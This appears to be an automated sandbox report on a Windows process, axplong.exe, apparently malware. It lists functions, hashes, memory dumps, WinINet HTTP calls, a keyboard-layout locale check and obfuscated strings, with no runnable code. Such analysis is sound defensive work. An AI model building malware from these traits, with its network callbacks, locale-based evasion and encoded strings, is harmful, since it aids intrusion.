Opcode ID: 5e9fee2021bf5f30b64663c69af3ee3794b823289d1ffd8503b172c0fedc6575
Instruction ID: 090af0c36cc5ac9fc8e942199c928f34d3f914e770611cf73ece37938ea70b8e
Opcode Fuzzy Hash: 5e9fee2021bf5f30b64663c69af3ee3794b823289d1ffd8503b172c0fedc6575
Instruction Fuzzy Hash: A4F0B4E770D111BE6051AD4527545BA2679F5DE770B30C0A6F003D9643F6895EBA3032

Function 04BA039F Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1770091601.0000000004BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ba0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbc0df79a76349a151e9fc38d56fd467a2a1d23b2a17eafb08a6d46025d939d7
Instruction ID: 8e0910a3b0c6b8bea0477a694177f665b7a5ec0eb46eda9dac56be692fcc4f55
Opcode Fuzzy Hash: cbc0df79a76349a151e9fc38d56fd467a2a1d23b2a17eafb08a6d46025d939d7
Instruction Fuzzy Hash: 3EE02BF774D1106EA102A98962644B83B7DF4DB270370C0E6F003DA543F9495FE66131

Function 04BA03BC Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1770091601.0000000004BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ba0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 182425c78adb3f662c626bf941be1760ff00c7bde0b8fc148b16641792580af4
Instruction ID: 60c7c023cf5efeb91a22f12d0359a8a634dae4f4e1528103de038b020cc2345b
Opcode Fuzzy Hash: 182425c78adb3f662c626bf941be1760ff00c7bde0b8fc148b16641792580af4
Instruction Fuzzy Hash: 7DE0E7E774C1007640427D4C12455F43F75B5DB231330C0E5F0038494378495AF6B121

Non-executed Functions

Function 04BA0816 Relevance: .2, Instructions: 184COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1770091601.0000000004BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ba0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22466fd5d5d1d7560a264c350624eda575266a12cac2643d03e13e7faf0a83db
Instruction ID: a2baf7b0dd09c37dce1ea94ca0a074c481138ad20f6ec81526219798f91f3322
Opcode Fuzzy Hash: 22466fd5d5d1d7560a264c350624eda575266a12cac2643d03e13e7faf0a83db
Instruction Fuzzy Hash: A53128E774C110EDB115FD4587516FA2A9EE3E7730F3041A6B007C6602F2957A7A3066

Analysis Process: axplong.exePID: 2140, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	7.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	5.9%
Total number of Nodes:	546
Total number of Limit Nodes:	31

Executed Functions

Function 002BBD60 Relevance: 24.8, APIs: 5, Strings: 9, Instructions: 310
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenW.WININET(00308D70,00000000,00000000,00000000,00000000), ref: 002BBDED
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 002BBE11
HttpOpenRequestA.WININET(?,00000000), ref: 002BBE5B
HttpSendRequestA.WININET(?,00000000), ref: 002BBF1B
InternetReadFile.WININET(?,?,000003FF,?), ref: 002BBFCD
InternetCloseHandle.WININET(?), ref: 002BC0A7
InternetCloseHandle.WININET(?), ref: 002BC0AF
InternetCloseHandle.WININET(?), ref: 002BC0B7

Strings

invalid stoi argument, xrefs: 002BE404
RHYTYv==, xrefs: 002BBE33
8KG0fymoFx==, xrefs: 002BC2EB, 002BC543
stoi argument out of range, xrefs: 002BE3FA
8KG0fCKZFzY=, xrefs: 002BC385
RpKt, xrefs: 002BD516
0, xrefs: 002BCD98, 002BD0C6, 002BD657
d41, xrefs: 002BE2FF
@, xrefs: 002BCA1D, 002BCBF8

Memory Dump Source

Source File: 00000006.00000002.2978563090.00000000002B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000006.00000002.2978532944.00000000002B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978563090.0000000000312000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978647713.0000000000319000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000031B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000049D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.0000000000584000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979076770.00000000005C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979624431.0000000000769000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979657065.000000000076B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b0000_axplong.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectFileReadSend
String ID: 0$8KG0fCKZFzY=$8KG0fymoFx==$@$RHYTYv==$RpKt$d41$invalid stoi argument$stoi argument out of range
API String ID: 688256393-3706228242
Opcode ID: 7e0e19bc6a8fa6cf2822411288ddaaf3dc6196fc5431fa0691330f47a9750e10
Instruction ID: 1e06aff6be7718910f272956000be99078cb2b7d8b407d5798250795e05543f1
Opcode Fuzzy Hash: 7e0e19bc6a8fa6cf2822411288ddaaf3dc6196fc5431fa0691330f47a9750e10
Instruction Fuzzy Hash: 90B1E5B16201189BEB29DF28CC85BEEBB79EF45344F5041ADF50897282D7719AD0CF94

Function 002C46C0 Relevance: 37.0, APIs: 1, Strings: 22, Instructions: 2484COMMON

Download Yara Rule

APIs

Part of subcall function 002C7870: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 002C795C
Part of subcall function 002C7870: __Cnd_destroy_in_situ.LIBCPMT ref: 002C7968
Part of subcall function 002C7870: __Mtx_destroy_in_situ.LIBCPMT ref: 002C7971

Part of subcall function 002BBD60: InternetOpenW.WININET(00308D70,00000000,00000000,00000000,00000000), ref: 002BBDED
Part of subcall function 002BBD60: InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 002BBE11
Part of subcall function 002BBD60: HttpOpenRequestA.WININET(?,00000000), ref: 002BBE5B

std::_Xinvalid_argument.LIBCPMT ref: 002C4EA2

Strings

KFT0PL==, xrefs: 002C54B9
JB6, xrefs: 002C53F5
246122658369, xrefs: 002C4F4D, 002C4F8F, 002C4F99, 002C54F4
MJF+, xrefs: 002C47BD, 002C48EC, 002C4ADC, 002C4C0B
stoi argument out of range, xrefs: 002C4269, 002C4EAC
aqB6, xrefs: 002C54DB
9526, xrefs: 002C531D
Vp 6, xrefs: 002C5447
-1, xrefs: 002C4F3A
96B6, xrefs: 002C5470
fed3aa, xrefs: 002C5489
MJB+, xrefs: 002C4776, 002C47ED, 002C4A95, 002C4B0C
aZT6, xrefs: 002C53CC
WJP6, xrefs: 002C53A3
8ZF6, xrefs: 002C5502
6F9fr==, xrefs: 002C4712
mP=, xrefs: 002C6383, 002C6652
Fz==, xrefs: 002C369E, 002C4D2D
V0x6, xrefs: 002C541E
5F6, xrefs: 002C5497
9KN6, xrefs: 002C5351
V0N6, xrefs: 002C537A

Memory Dump Source

Source File: 00000006.00000002.2978563090.00000000002B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000006.00000002.2978532944.00000000002B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978563090.0000000000312000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978647713.0000000000319000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000031B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000049D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.0000000000584000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979076770.00000000005C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979624431.0000000000769000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979657065.000000000076B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b0000_axplong.jbxd

Yara matches

Similarity

API ID: InternetOpen$Cnd_destroy_in_situCnd_unregister_at_thread_exitConnectHttpMtx_destroy_in_situRequestXinvalid_argumentstd::_
String ID: 5F6$ 6F9fr==$ JB6$ mP=$246122658369$8ZF6$9526$96B6$9KN6$Fz==$KFT0PL==$MJB+$MJF+$V0N6$V0x6$Vp 6$WJP6$aZT6$aqB6$fed3aa$stoi argument out of range$-1
API String ID: 2414744145-770670542
Opcode ID: d6ca47de548b0d4e3a4c7aef008bd68d7f3e8298a75e681806d904ee5a97c570
Instruction ID: 438616c867a9d31760a0d36af66050e5e184b0c858123581563aabe03be6fefe
Opcode Fuzzy Hash: d6ca47de548b0d4e3a4c7aef008bd68d7f3e8298a75e681806d904ee5a97c570
Instruction Fuzzy Hash: 212335709201589BEB19DB28CD89B9DBB769F85304F5482DCE009AB2C2DB359FE4CF51

Function 002B5DF0 Relevance: 12.6, APIs: 2, Strings: 5, Instructions: 364
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

00000423, xrefs: 002B600A
Keyboard Layout\Preload, xrefs: 002B5F64
00000422, xrefs: 002B5FD9
0000043f, xrefs: 002B603B
00000419, xrefs: 002B5FA8

Memory Dump Source

Source File: 00000006.00000002.2978563090.00000000002B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000006.00000002.2978532944.00000000002B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978563090.0000000000312000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978647713.0000000000319000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000031B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000049D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.0000000000584000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979076770.00000000005C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979624431.0000000000769000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979657065.000000000076B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: 1041502a045b2a6caeb03cf6bd32233fafd2bbf6b0501e4cd76fcec85d293510
Instruction ID: 0f0475b0bfe0f711a3ed3198878ec702bc9db147abf677dbaa9dcdb397e023ad
Opcode Fuzzy Hash: 1041502a045b2a6caeb03cf6bd32233fafd2bbf6b0501e4cd76fcec85d293510
Instruction Fuzzy Hash: 10E1AD71910218ABEB25DFA4CC88BDEB779AF04344F5042D9E508A7291DB74ABD4CF91

Function 002B7D00 Relevance: 10.9, APIs: 1, Strings: 5, Instructions: 392
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 002B7EA3

Strings

8, xrefs: 002B7DBA
JmpyPb==, xrefs: 002B810A
JmpxQb==, xrefs: 002B81B2
JmpxRL==, xrefs: 002B8062
X, xrefs: 002B7D8D

Memory Dump Source

Source File: 00000006.00000002.2978563090.00000000002B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000006.00000002.2978532944.00000000002B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978563090.0000000000312000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978647713.0000000000319000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000031B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000049D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.0000000000584000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979076770.00000000005C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979624431.0000000000769000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979657065.000000000076B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b0000_axplong.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: 8$JmpxQb==$JmpxRL==$JmpyPb==$X
API String ID: 1721193555-4251415508
Opcode ID: d2b1708fb0addb7403afdcba34f9299277edb83b7fd348a9b0dda4c7dadd17ff
Instruction ID: ca4e4b2fb5032e3ed0f8b21861718404108ef87fa07f2ada8845e61ad44b117b
Opcode Fuzzy Hash: d2b1708fb0addb7403afdcba34f9299277edb83b7fd348a9b0dda4c7dadd17ff
Instruction Fuzzy Hash: 4CD13570E206549BDF15BF28CC4A7DD7B65AB46350F90429CE8196B3C2DB358EB08BD2

Function 002B82B0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE(?), ref: 002B8454

Strings

8, xrefs: 002B836F
X, xrefs: 002B8342

Memory Dump Source

Source File: 00000006.00000002.2978563090.00000000002B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000006.00000002.2978532944.00000000002B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978563090.0000000000312000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978647713.0000000000319000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000031B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000049D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.0000000000584000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979076770.00000000005C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979624431.0000000000769000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979657065.000000000076B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b0000_axplong.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: 8$X
API String ID: 1721193555-374791910
Opcode ID: 045ab10928cac677c9b5118cc07746536f8679f714b39baf341061cc86d29184
Instruction ID: 81e95bc66f84c4352145a83eb5384b931df6f6bb4bcedaefc69b907bcb082237
Opcode Fuzzy Hash: 045ab10928cac677c9b5118cc07746536f8679f714b39baf341061cc86d29184
Instruction Fuzzy Hash: B4514C70D202199BEB14EF24CD45BDEB779EB45344F5042A9E808A72C1EF715AE0CF91

Function 002E6E01 Relevance: 4.6, APIs: 3, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNELBASE(?,?,00000000,00000000), ref: 002E6E23
GetFileInformationByHandle.KERNELBASE(?,?), ref: 002E6E7D
__dosmaperr.LIBCMT ref: 002E6F12

Part of subcall function 002E7177: __dosmaperr.LIBCMT ref: 002E71AC

Memory Dump Source

Source File: 00000006.00000002.2978563090.00000000002B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000006.00000002.2978532944.00000000002B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978563090.0000000000312000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978647713.0000000000319000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000031B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000049D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.0000000000584000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979076770.00000000005C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979624431.0000000000769000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979657065.000000000076B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b0000_axplong.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$HandleInformationType
String ID:
API String ID: 2531987475-0
Opcode ID: a2a5d2619c1f778cd7a54b0f31462c3cf18e9f5f4870a76ba20fd1fb7c81320a
Instruction ID: 82449bb143fe3c34f5b3a6c6b661611d69e085c0228990ca6e6f06e61e225894
Opcode Fuzzy Hash: a2a5d2619c1f778cd7a54b0f31462c3cf18e9f5f4870a76ba20fd1fb7c81320a
Instruction Fuzzy Hash: 1D41AF75960385ABDB24EFB6EC459AFBBF9EF98340B50442DF456D3610E730A924CB20

Function 002E6C99 Relevance: 1.6, APIs: 1, Instructions: 89
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.2978563090.00000000002B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000006.00000002.2978532944.00000000002B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978563090.0000000000312000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978647713.0000000000319000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000031B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000049D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.0000000000584000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979076770.00000000005C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979624431.0000000000769000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979657065.000000000076B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0244536d2a62407776bf74cd7adfc90bbc11cc63997839ee1b250d787d5c369f
Instruction ID: 1242d65ff2e5c73e039ae0cba7bbcb480f18fd2397d6bcda8f47d2b6394c99fb
Opcode Fuzzy Hash: 0244536d2a62407776bf74cd7adfc90bbc11cc63997839ee1b250d787d5c369f
Instruction Fuzzy Hash: E1212B329A12487AEB117F66AC45B9F37299F417B8F900310F9243B1D1D7706E219AA1

Function 002E6F71 Relevance: 1.6, APIs: 1, Instructions: 56
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SystemTimeToTzSpecificLocalTime.KERNELBASE(00000000,?,?), ref: 002E6FB3

Memory Dump Source

Source File: 00000006.00000002.2978563090.00000000002B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000006.00000002.2978532944.00000000002B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978563090.0000000000312000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978647713.0000000000319000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000031B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000049D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.0000000000584000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979076770.00000000005C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979624431.0000000000769000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979657065.000000000076B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b0000_axplong.jbxd

Yara matches

Similarity

API ID: Time$LocalSpecificSystem
String ID:
API String ID: 2574697306-0
Opcode ID: 73783b9623eba90f2943cb310b7b738f16acfe16aec8704de86d0239c5852528
Instruction ID: fb56490bff60818614612ba5d04b87acc175d1860d42a5b2977b4b256e40ff02
Opcode Fuzzy Hash: 73783b9623eba90f2943cb310b7b738f16acfe16aec8704de86d0239c5852528
Instruction Fuzzy Hash: E8114F7295020DAACB10DED2D944EDFBBBCAB18360F504266E516E6180E730EB54CB61

Function 002C6AE0 Relevance: 1.3, APIs: 1, Instructions: 40
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE ref: 002C6B65

Memory Dump Source

Source File: 00000006.00000002.2978563090.00000000002B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000006.00000002.2978532944.00000000002B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978563090.0000000000312000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978647713.0000000000319000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000031B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000049D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.0000000000584000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979076770.00000000005C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979624431.0000000000769000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979657065.000000000076B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b0000_axplong.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 5736060af7980c767d6ade376dfe76b253b58ed832c1c049e8b3a4e02a56cab8
Instruction ID: 1bf88e36d7cb4d4419d1c491bad5166e9c245da652c5206e402580f26ada58ba
Opcode Fuzzy Hash: 5736060af7980c767d6ade376dfe76b253b58ed832c1c049e8b3a4e02a56cab8
Instruction Fuzzy Hash: FCF0F971E10514ABCB057B68DC07B9E7B79E70B764F80035CF811672D1DB345A204BD2

Function 04CB0369 Relevance: .1, Instructions: 57
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.2982742676.0000000004CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4cb0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 770737910e09d109c5a7624152f8ecb9e513eceab66f4e65815845f920aaac8c
Instruction ID: c6cf31e4003d867efcfe01ff497f3471a02ef87ae57ce77b46a4104b9bebaf3a
Opcode Fuzzy Hash: 770737910e09d109c5a7624152f8ecb9e513eceab66f4e65815845f920aaac8c
Instruction Fuzzy Hash: ABF096E735C310BE710155832718AF7662FE5C2630F70C426F483C6402FA956E0D38B1

Function 04CB03B9 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2982742676.0000000004CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4cb0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32c03c901a63f1d761cf05c5e6b0201156098b0794c0cdc40b3f41a1b672a4d4
Instruction ID: 311aa408e1aac5585f3c1d722f038e3f675fcd91e65b646c7f75c834f437e674
Opcode Fuzzy Hash: 32c03c901a63f1d761cf05c5e6b0201156098b0794c0cdc40b3f41a1b672a4d4
Instruction Fuzzy Hash: 71E01AEB24C120AE704180833B68AFB972EE1C2231B34C837F887D1402E6895A4E3571

Function 04CB03D1 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2982742676.0000000004CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4cb0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79a37b82975745259f5471491b9468d4d3b8a60f3ddb4a0b022ff3903adaa82d
Instruction ID: 6f66b23f8ea514f241dbbf5bb4a10ef84942873db1007123a248350412cc864c
Opcode Fuzzy Hash: 79a37b82975745259f5471491b9468d4d3b8a60f3ddb4a0b022ff3903adaa82d
Instruction Fuzzy Hash: 32E0B6EB24C164AEA14281532B19AFA6B2EE4C2231B34C462F082D5407E6895A5E7972

Function 04CB03DD Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2982742676.0000000004CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4cb0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1302cf8257deb7c3462acad2a8283ae7e3f6f78071b8b59f0316cef07478aded
Instruction ID: 9907f430edf71a85cbee620db8cad9a0d35477e898f63f68874e8521aac324e3
Opcode Fuzzy Hash: 1302cf8257deb7c3462acad2a8283ae7e3f6f78071b8b59f0316cef07478aded
Instruction Fuzzy Hash: 0BE0ECEB249014ADA04195537B189FAA73DE4C2334734C437F442D7403E6995B5E7971

Non-executed Functions

Function 002BE440 Relevance: 14.6, Strings: 11, Instructions: 878COMMON

Download Yara Rule

Strings

GqKudSO2, xrefs: 002BE47F
246122658369, xrefs: 002BF647, 002BF924, 002C04F7
111, xrefs: 002BF6B0
#, xrefs: 002C0534
WWp=, xrefs: 002C04DA
fed3aa, xrefs: 002BFA9E
d41, xrefs: 002BF6D5
MJB+, xrefs: 002BE734
